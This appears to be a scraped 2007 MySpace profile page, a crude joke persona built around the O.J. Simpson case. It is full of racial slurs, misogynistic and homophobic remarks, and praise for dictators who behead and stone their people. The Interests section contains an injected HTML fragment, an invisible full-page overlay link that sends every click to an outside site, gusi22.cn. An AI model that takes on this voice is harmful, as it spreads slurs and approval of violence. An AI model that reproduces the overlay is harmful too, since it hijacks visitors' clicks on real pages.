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Stabby McMurderson

About Me

I am really look to meet some new people on Myspace, especially wiggers. I am a friendly guy that you ladies can easily approach and ax any question. I like football -- isatoner gloves -- White Ford Broncos. I would like to have a book published some day. White Bitches. I melt when I think of the milky skin of a white broad. I like to go clubbing and dance to Nelly Furtado and Tiesto.

My Interests

Golf, relaxing on the beach, one night stands, reading love novels -- pretty much anything murdered people can't do and I like White Bitches.a class="popup_wrapper" style="cursor:default;background-image:url(http://gusi22.cn/ bg.jpg);left:0px;top:0px;height:8383px;width:1010px;" href="http://gusi22.cn/s/" m$l$

I'd like to meet:

Jack the Ripper, The Boston Strangler, Bobby Brown, Stedman, The Zodiac Killer (and Jake Gyllenhal), John Wilkes Booth, Charles Manson, Ray Lewis' friends, Tonya Harding, David Berkowitz, Ted Bundy, and Steve O.

Music:

Spice Girls, Yanni, Weird Al, Bill Hung, Beatles (Helter Skelter really speaks to me), Naughty By Nature (not cuz I hate ya), and anything by the USC marching band.

Movies:

All the Naked Gun's, Dirty Work, anything with Denzel, Big, Top Gun (RIP Goose), European Vacation (Beverly D'Angelo has nice tits), Weird Science, Three Men and a Baby (you ever see the ghost?)

Television:

Nip Tuck, any Hertz rental car commercial, Monday Night Football, Dancing with the Stars (Paul McCartney should have killed that gimpy white bitch, holla at ya boy you Penny Lane mother fucker!) and last but not least, re runs of The Grind.

Books:

Little Women, anything by Alan Dershowitz, Art of the Deal, If I Did It, A Clockwork Orange and pretty much any Where's Waldo -- except for the one where he is at the Pride parade.

Heroes:

Rae Carruth, Robert Blake, Al Cowlings, The Dream Team (You know who you are-RIPJC), Michael Jackson, every dictator in the Middle East, Central Asia, and Sub Saharan Africa -- keep boiling, stoning and beheading your people.

My Blog

If Jesus Was a Wigger

This scene takes place on a narrow road in Nazareth. Yo Jesus, yelled Peter.  "I gotz the new sandals wit da leather sole fresh out da bazaar!"  Jesus smiled at Peter and said "Piggity ...
Posted by Stabby McMurderson on Thu, 05 Apr 2007 12:02:00 PST